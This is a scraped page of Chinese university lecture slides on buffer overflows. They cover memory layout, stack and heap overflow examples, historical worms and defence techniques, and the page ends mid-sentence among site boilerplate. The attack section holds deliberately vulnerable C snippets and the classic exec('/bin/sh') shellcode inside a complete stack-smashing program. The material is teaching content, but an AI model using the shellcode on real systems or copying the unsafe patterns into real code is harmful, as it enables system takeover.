




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
2023/2/5網絡安全
NetworkSecurity2023/2/5第7章計算機系統安全(緩沖區溢出)緩沖區溢出概述緩沖區溢出攻擊的原理緩沖區溢出攻擊的防御技術2023/2/5第7章計算機系統安全(緩沖區溢出)緩沖區溢出概述緩沖區溢出攻擊的原理緩沖區溢出攻擊的防御技術2023/2/5緩沖溢出概述1.緩沖區的定義連續的一段存儲空間。2.緩沖區溢出的定義指寫入緩沖區的數據量超過該緩沖區能容納的最大限度,造成溢出的數據改寫了與該緩沖區相鄰的原始數據的情形。Bufferoverflowistheresultofwritingmoredataintoabufferthanthebuffercanhold.
2023/2/5ExampleConsiderthefollowingcodeintmain(void){charbuffer[4];strcpy(buffer,“AAA”);……}mainstackframe
previousstackframe…………buffer[4]HighaddressesLowaddressesAAA\02023/2/5Example(contd.)Nowweinput4+4+3‘A’sinsteadof4‘A’main(void){charbuffer[4];strcpy(buffer,“”);}AAAAAAAAAAAAAAmainstackframe
previousstackframe…………buffer[4]HigheraddressesLoweraddresses?AAAAAAAAAAA\0……2023/2/5緩沖溢出概述(續)3.緩沖區溢出的危害利用緩沖區溢出實現在本地或者遠程系統上實現任意執行代碼的目的,從而進一步達到對被攻擊系統的完全掌控;利用緩沖區溢出進行DoS(DenialofService)攻擊;利用緩沖區溢出破壞關鍵數據,使系統的穩定性和有效性受到不同程度的影響;實現蠕蟲程序1988RobertT.Morris蠕蟲利用UNIX系統中In,theMorrisInternetwormexploitedbufferoverflowvulnerabilityinfingerdserverprogramonUNIXsystems.曾在2001年造成大約26億美元損失的CodeRed蠕蟲及其變體就是利用了MicrosoftIIS中的緩沖區溢出進行攻擊2002年的Sapphire蠕蟲和2004年的Witty蠕蟲也都利用了緩沖區溢出進行攻擊。In2004,theWittywormtakesadvantageofabufferoverflowflawinseveralInternetSecuritySystems?(ISS)products.2023/2/5SourcefromCERT(ComputerEmergencyResponseTeam)CERTAdvisories,/advisories/緩沖區溢出相關的軟件安全隱患數目占整個軟件安全隱患數目的比例2023/2/5緩沖溢出概述(續)4.造成緩沖區溢出的根本原因代碼在操作緩沖區時,沒有有效地對緩沖區邊界進行檢查,使得寫入緩沖區的數據量超過緩沖區能夠容納的范圍,從而導致溢出的數據改寫了與該緩沖區相鄰存儲單元的內容。
CandC++arethemostcommonlanguagestocreatebufferoverflows.C語言中許多字符串處理函數如:Strcpy、Strcat、Gets、Sprintf等都沒有對數組越界加以檢測和限制。2023/2/5緩沖溢出概述(續)MicrosoftWindows,Linux/Unix,AppleMacintosh等主流操作系統無一例外存在緩沖區溢出問題。存在緩沖區溢出問題的應用程序也廣泛存在,涉及數據庫系統例如MicrosoftSQLServer2000,Oracle9i,網絡服務(MicrosoftIIS),網絡協議實現(例如OpenSSL),多媒體軟件(AppleQuickTime)等等
2023/2/5緩沖溢出概述(續)緩沖區溢出可以成為攻擊者實現攻擊目標的手段,但是單純地溢出緩沖區并不能達到攻擊的目的。在絕大多數情況下,一旦程序中發生緩沖區溢出,系統會立即中止程序并報告“faultsegment”。例如緩沖區溢出,將使返回地址改寫為一個非法的、不存在的地址,從而出現coredump錯誤,不能達到攻擊目的。只有對緩沖區溢出“適當地”加以利用,攻擊者才能通過其實現攻擊目標。2023/2/5第7章計算機系統安全(緩沖區溢出)緩沖區溢出概述緩沖區溢出攻擊的原理緩沖區溢出攻擊的防御技術2023/2/5緩沖溢出攻擊的原理1.緩沖區溢出攻擊模式AttackedSystem溢出緩沖區重定向到攻擊程序任意地執行程序執行攻擊程序Attacker注入惡意數據獲得控制權找到可利用的緩沖區溢出隱患惡意數據可以通過命令行參數、環境變量、輸入文件或者網絡數據注入2023/2/5緩沖溢出攻擊的原理(續)2.緩沖區溢出可能發生的位置預備知識點進程在內存中的布局2023/2/5緩沖溢出攻擊的原理(續)代碼段/文本段用于放置程序的可執行代碼(機器碼)。數據段用于放置已初始化的全局變量和已初始化的局部靜態變量。BSS(BlockStartedbySymbol)段用于放置未初始化的全局變量和未初始化的局部靜態變量。堆用于動態分配內存。堆棧段用于存放函數的參數,返回地址,調用函數的棧基址以及局部非靜態變量。進程的環境變量和參數
.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture
2023/2/5緩沖溢出攻擊的原理(續)2.緩沖區溢出可能發生的位置(續)堆棧(stack)堆(heap)數據段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture
2023/2/5緩沖溢出攻擊的原理(續)2.緩沖區溢出可能發生的位置(續)堆棧(stack)堆(heap)數據段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture
2023/2/5被調函數堆棧布局堆棧采用后進先出(LIFO)的方式管理數據,這種方式是實現函數嵌套調用的關鍵。
PreviousstackframesFunctionargumentsReturnaddressPreviousframepointerLocalvariablesHighaddressLowaddress從右到左的順序指令寄存器(EIP)基址寄存器(EBP)局部非靜態變量2023/2/5緩沖溢出攻擊的原理(續)基于堆棧的緩沖區溢出voidfunction(char*str){ charbuffer[4]; strcpy(buffer,str);}voidmain(intargc,char**argv){ charlarge_string[8]; inti; for(i=0;i<8;i++) large_buffer[i]=‘A’ function(large_string);}2023/2/5Example(contd.)Large_string上一個棧幀地址
返回地址
argv內存低端內存高端argcESPmain函數棧幀voidmain(intargc,char**argv)i2023/2/5緩沖溢出攻擊的原理(續)基于堆棧的緩沖區溢出voidfunction(char*str){ charbuffer[4]; strcpy(buffer,str);}voidmain(intargc,char**argv){ charlarge_string[8]; inti; for(i=0;i<8;i++) large_buffer[i]=‘A’ function(large_string);}2023/2/5Example(contd.)Large_string上一個棧幀地址返回地址argv內存低端內存高端argcESPMain函數的棧幀i*str返回地址main函數的棧幀地址bufferfunction函數棧幀function函數被調用,調用strcpy之前voidfunction(char*str)…………2023/2/5Example(contd.)Large_string上一個棧幀地址返回地址argv內存低端內存高端argcESPMain函數的棧幀i*str返回地址AAAAAAAAfunction函數棧幀function函數被調用,調用strcpy之后voidfunction(char*str)…………2023/2/5緩沖溢出攻擊的原理(續)基于堆棧的緩沖區溢出的潛在危害改寫返回地址改寫調用函數棧的棧幀地址
被調函數……movl%ebp,%esppopl%ebpret調用函數……movl%ebp,%esppopl%ebpret2023/2/5緩沖溢出攻擊的原理(續)基于堆棧的緩沖區溢出的潛在危害(續)改寫函數指針改寫虛函數指針改寫異常處理指針改寫數據指針
voidBadCode(char*string){void(*p)()=...;charbuff[100];strcpy(buff,string);p();……}2023/2/5緩沖溢出攻擊的原理(續)2.緩沖區溢出可能發生的位置(續)堆棧(stack)堆(heap)數據段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture
2023/2/5緩沖溢出攻擊的原理(續)基于堆的緩沖區溢出Heapisacontiguousmemoryusedtodynamicallyallocatespacewherethesizewillbeknownonlyduringtheexecutionofthecode.
在Linux中,堆空間按照DougLea算法實現動態分配。在C程序中,標準庫函數malloc()/free()用于從堆中動態申請/釋放塊;對于C++程序,相應函數為new/delete。2023/2/5緩沖溢出攻擊的原理(續)基于堆的緩沖區溢出(續)voidmain(intargc,char**argv){char*buf1=(char*)malloc(16);char*buf2=(char*)malloc(16);strcpy(buf1,”AAAAAAAAAAAAAAA”);strcpy(buf2,argv[1]);}0030035000300360003003700030034000300380buf[2]buf[1]buf[2]AAAAAAAAAAAAAAA\02023/2/5buf[2]AAAAAAAAAAAAAAAA基于堆的緩沖區溢出正常輸入Prompt:>BB..BBB(total15‘B’s)產生溢出的輸入Prompt:>BB..BBB(total40‘B’s)(a)heaplayoutwithoutoverflow0030035000300360003003700030034000300380BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\0AAAAAA\0(b)heaplayoutwithoverflowBBBBBBBBBBBBBBB\0AAAAAAAAAAAAAAA\02023/2/5基于堆的緩沖區溢出攻擊舉例1996年BSDIcrontab被發現存在基于堆的緩沖區溢出隱患,攻擊者可以通過輸入一個長文件名溢出在堆上的緩沖區,溢出數據改寫的區域是保存有用戶名、密碼、uid,gid等信息的區域。2023/2/5緩沖溢出攻擊的原理(續)2.緩沖區溢出可能發生的位置(續)堆棧(stack)堆(heap)數據段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture
2023/2/5緩沖溢出攻擊的原理(續)基于數據段的緩沖區溢出voidOverflow_Data(char*input){staticcharbuf[4]=”CCCC”;inti;for(i=0;i<12;i++)buf[i]=‘A’;}2023/2/5緩沖溢出攻擊的原理(續)2.緩沖區溢出可能發生的位置(續)堆棧(stack)堆(heap)數據段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture
2023/2/5緩沖溢出攻擊的原理(續)基于BSS段的緩沖區溢出voidOverflow_BSS(char*input){staticcharbuf[4];inti;for(i=0;i<12;i++)buf[i]=‘A’;}2023/2/5緩沖溢出攻擊的原理(續)3.常見的溢出緩沖區的途徑利用C的標準函數庫常見的有strcpy、strcat、sprintf、gets“Mudge”.HowtoWriteBufferOverflows.http:///advisories/bufero.html,1997.PaulA.HenryMCP+Ietal.BufferOverflowAttacks.CyberGuardCorp.C.Cowanetal.Bufferoverflows:Attacksanddefensesforthevulnerabilityofthedecade.ProceedingsoftheDARPAInformationSurvivabilityConferenceandExpo,1999.
2023/2/5緩沖溢出攻擊的原理(續)利用數組下標的越界操作Off-by-one緩沖區溢出利用數組的最大下標與數組長度的差異產生。例如1998年10月BugTraq公布出Linuxlibc中的realpath函數存在single-byte緩沖區溢出隱患,攻擊者可以利用它獲得root權限。參見O.Kirch.Thepoisonednulbyte,posttothebugtraqmailinglist,October1998.2000年12月OpenBSD安全組公布ftpd存在類似安全隱患。參見OpenBSDdevelopers,single-bytebufferoverflowvulnerabilityinftpd,December2000.
voidBadCode(char*str){charbuffer[512];for(i=0;i<=512;i++)buffer[i]=str[i];}2023/2/5緩沖溢出攻擊的原理(續)利用有符號整數與無符號整數的轉換
voidBadCode(char*input){shortlen;charbuf[64];len=strlen(input);if(len<MAX_BUF)strcpy(buf,input);}2023/2/5緩沖溢出攻擊的原理(續)4.惡意代碼(注入)例如為實現:“exec(/bin/sh)”charshellcode[]=”\xeb\x1f\x5e\x89\x76\x08\x31\xc0””\x88\x46\x07\x89\x46\x0c\xb0\x0b””\x89\xf3\x8d\x4e\x08\x8d\x56\x0c””\xcd\x80\x31\xdb\x89\xd8\x40\xcd””\x80\xe8\xdc\xff\xff\xff/bin/sh”;charlarge_string[128];voidmain(){charbuffer[96];inti;long*long_ptr;long_ptr=(long*)large_string;for(i=0;i<32;i++)*(long_ptr+i)=(int)buffer;for(i=0;i<strlen(shellcode);i++)large_string[i]=shellcode[i];strcpy(buffer,large_string);}2023/2/5Thesecretoftheshellcodecharshellcode[]=/*main:*/"\xeb\x1f"/*jmp$0x1forjmpcallz *//*start:*/"\x5e"/*popl%esi */"\x89\x76\x08"/*movl%esi,$0x08(%esi) */"\x31\xc0"/*xorl%eax,%eax */"\x88\x46\x07"/*movb%al,0x07(%esi) */"\x89\x46\x0c"/*movl%eax,$0x0c(%esi) */"\xb0\x0b"/*movb$0x0b,%al */"\x89\xf3"/*movl%esi,%ebx */"\x8d\x4e\x08"/*leal0x08(%esi),%ecx */"\x8d\x56\x0c"/*leal0x0c(%esi),%edx */"\xcd\x80"/*int$0x80 */"\x31\xdb"/*xorl%ebx,%ebx */"\x89\xd8"/*movl%ebx,%eax */"\x40"/*inc%eax */"\xcd\x80"/*int$0x80 *//*callz:*/"\xe8\xdc\xff\xff\xff"/*callstart *//*DATA*/"/bin/sh";1322023/2/5基于堆棧的緩沖區溢出攻擊舉例charshellcode[]=”\xeb\x1f\x5e\x89\x76\x08\x31\xc0””\x88\x46\x07\x89\x46\x0c\xb0\x0b””\x89\xf3\x8d\x4e\x08\x8d\x56\x0c””\xcd\x80\x31\xdb\x89\xd8\x40\xcd””\x80\xe8\xdc\xff\xff\xff/bin/sh”;charlarge_string[128];voidmain(){charbuffer[96];inti;long*long_ptr;long_ptr=(long*)large_string;for(i=0;i<32;i++)*(long_ptr+i)=(int)buffer;for(i=0;i<strlen(shellcode);i++)large_string[i]=shellcode[i];strcpy(buffer,large_string);}for(i=0;i<strlen(shellcode);i++)large_string[i]=shellcode[i];strcpy(buffer,large_string);2023/2/5溢出前后堆棧內容對比HigheraddressesLoweraddressespreviousstackframeilong_ptrreturnaddresssavedEBPbuffer[96]mainstackframepreviousstackframeilong_ptraddress/bin/sh……\xeb\x1f堆棧溢出前堆棧溢出后2023/2/5緩沖溢出攻擊的原理(續)4.惡意代碼(已在內存)利用已在內存中的代碼作為攻擊代碼,但是需要提供調用這些現成代碼產生攻擊的參數。由于libc中的庫函數常被用作現成的攻擊代碼,所以有時把這種攻擊方式稱為
return-to-libc。可參見Nergal.Theadvancedreturn-into-lib(c)exploits:Paxcasestudy.Phrack,Dec.2001.
2023/2/5第7章計算機系統安全(緩沖區溢出)緩沖區溢出概述緩沖區溢出攻擊的原理緩沖區溢出攻擊的防御技術2023/2/5緩沖區溢出攻擊的防御技術基于軟件的防御技術類型安全的編程語言相對安全的函數庫修改的編譯器內核補丁靜態分析方法動態檢測方法基于硬件的防御技術處理器結構方面的改進2023/2/5緩沖區溢出攻擊的防御技術基于軟件的防御技術類型安全的編程語言相對安全的函數庫修改的編譯器內核補丁靜態分析方法動態檢測方法基于硬件的防御技術處理器結構方面的改進2023/2/5基于軟件的防御技術安全的編程語言Java,C#,VisualBasic,Pascal,Ada,Lisp,ML屬于類型安全的編程語言。可參考MishaZiseretal.TestingStaticAnalysisToolsUsingExploitableBufferOverflowsFromOpenSourceCode.Proceedingsofthe12thACMSIGSOFTtwelfthinternationalsymposiumonFoundationsofsoftwareengineering,2004.
缺點性能代價類型安全的編程語言自身的實現可能存在緩沖區溢出問題。
2023/2/5緩沖區溢出攻擊的防御技術基于軟件的防御技術類型安全的編程語言相對安全的函數庫修改的編譯器內核補丁靜態分析方法動態檢測方法基于硬件的防御技術處理器結構方面的改進2023/2/5基于軟件的防御技術(續)相對安全的標準庫函數例如在使用C的標準庫函數時,做如下替換strcpy->strncpystrcat->strncatgets->fgets缺點使用不當仍然會造成緩沖區溢出問題。例如MicrosoftVisualStudio提供的C的標準函數庫strsafe;
2023/2/5緩沖區溢出攻擊的防御技術基于軟件的防御技術類型安全的編程語言相對安全的函數庫修改的編譯器內核補丁靜態分析方法動態檢測方法基于硬件的防御技術處理器結構方面的改進2023/2/5基于軟件的防御技術(續)修改的編譯器增強邊界檢查能力的C/C++編譯器例如針對GNUC編譯器擴展數組和指針的邊界檢查。WindowsVisualC++.NET的GS選項也提供動態檢測緩沖區溢出的能力。返回地址的完整性保護將堆棧上的返回地址備份到另一個內存空間;在函數執行返回指令前,將備份的返回地址重新寫回堆棧。許多高性能超標量微處理器具有一個返回地址棧,用于指令分支預測。返回地址棧保存了返回地址的備份,可用于返回地址的完整性保護
缺點性能代價檢查方法仍不完善
2023/2/5緩沖區溢出攻擊的防御技術基于軟件的防御技術類型安全的編程語言相對安全的函數庫修改的編譯器內核補丁靜態分析方法動態檢測方法基于硬件的防御技術處理器結構方面的改進2023/2/5基于軟件的防御技術(續)內核補丁將堆棧標志為不可執行來阻止緩沖區溢出攻擊;將堆或者數據段標志為不可執行。例如Linux的內核補丁Openwall、RSX、kNoX、ExecShield和PaX等實現了不可執行堆棧,并且RSX、kNoX、ExecShield、PaX還支持不可執行堆。另外,為了抵制return-to-libc這類的攻擊,PaX增加了一個特性,將函數庫映射到隨機的內存空間缺點:對于一些需要堆棧/堆/數據段為可執行狀態的應用程序不合適;需要重新編譯原來的程序,如果沒有源代碼,就不能獲得這種保護。
2023/2/5緩沖區溢出攻擊的防御技術基于軟件的防御技術類型安全的編程語言相對安全的函數庫修改的編譯器內核補丁靜態分析方法動態檢測方法基于硬件的防御技術處理器結構方面的改進2023/2/5基于軟件的防御技術(續)靜態分析方法字典檢查法遍歷源程序查找其中使用到的不安全的庫函數和系統調用。例如靜態分析工具ITS4、RATS(RoughAuditingToolforSecurity)等。其中RATS提供對C,C++,Perl,PHP以及Python語言的掃描檢測。缺點:誤報率很高,需要配合大量的人工檢查工作。2023/2/5基于軟件的防御技術(續)靜態分析方法(續)程序注解法
包括緩沖區的大小,指針是否可以為空,輸入的有效約定等等。例如靜態分析工具LCLINT、SPLINT(SecureProgrammingLint)。缺點:依賴注釋的質量2023/2/5基于軟件的防御技術(續)靜態分析方法(續)整數分析法將字符串形式化為一對整數,表明字符串長度(以字節數為單位)以及目前已經使用緩沖區的字節數。通過這樣的形式化處理,將緩沖區溢出的檢測轉化為整數計算。例如靜態分析工具BOON(BufferOverrundetectiON)。缺點:僅檢查C中進行字符串操作的標準庫函數。檢查范圍很有限。
2023/2/5基于軟件的防御技術(續)靜態分析方法(續)控制流程分析法將源程序中的每個函數抽象成語法樹,然后再把語法樹轉換為調用圖/控制流程圖來檢查函數參數和緩沖區的范圍。例如靜態分析工具ARCHER(ARrayCHeckER)、UNO、PREfast和Coverity等。缺點:對于運行時才會顯露的問題無法進行分析;存在誤報的可能。
2023/2/5緩沖區溢出攻擊的防御技術基于軟件的防御技術類型安全的編程語言相對安全的函數庫修改的編譯器內核補丁靜態分析方法動態檢測方法基于硬件的防御技術處理器結構方面的改進2023/2/5基于軟件的防御技術(續)動態檢測方法
Canary-based檢測方法將canary(一個檢測值)放在緩沖區和需要保護的數據之間,并且假設如果從緩沖區溢出的數據改寫了被保護數據,檢測值也必定被改寫。例如動態檢測工具StackGuard、StackGhost、ProPolice、PointGuard等。缺點:多少工具通過修改編譯器實現檢測功能,需要重新編譯程序;這種方法無法檢測能過繞過檢測值的緩沖區溢出攻擊。
protectedDatacanary......buffer2023/2/5基于軟件的防御技術(續)動態檢測方法(續)輸入檢測方法向運行程序提供不同的輸入,檢查在這些輸入條件下程序是否出現緩沖區溢出問題。不僅能檢測緩沖區溢出問題,還可以檢測其它內存越界問題。采用輸入檢測方法的工具有Purify、Fuzz和FIST(FaultInjectionSecurityTool)。缺點:系統性能明
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 棗強中學高一上學期第四次月考語文試題
- 2025授權財務合同
- 2025農業技術服務合同范本
- 2025年展覽會布置服務合同協議示例
- 2025流動資金借款合同模板
- 2025商業大樓空調及供電系統設備購銷合同
- 公務員培訓班
- 2025建筑工地瓷磚訂購合同范本
- 2025終止合同解除勞動合同證明書模板
- 2025石油化工產品運輸合同范文
- 第十二講 建設社會主義生態文明PPT習概論2023優化版教學課件
- 工商管理實習周記十篇
- 幼兒園體育游戲活動評價表
- 2023年通管局安全員考試-培訓及考試題庫(導出版)
- GB/T 4857.22-1998包裝運輸包裝件單元貨物穩定性試驗方法
- GB/T 25074-2010太陽能級多晶硅
- GB/T 23842-2009無機化工產品中硅含量測定通用方法還原硅鉬酸鹽分光光度法
- GA/T 1217-2015光纖振動入侵探測器技術要求
- 特種陶瓷介紹課件
- 有機物污染(環境化學)課件
- 安全生產培訓合格證書樣本
評論
0/150
提交評論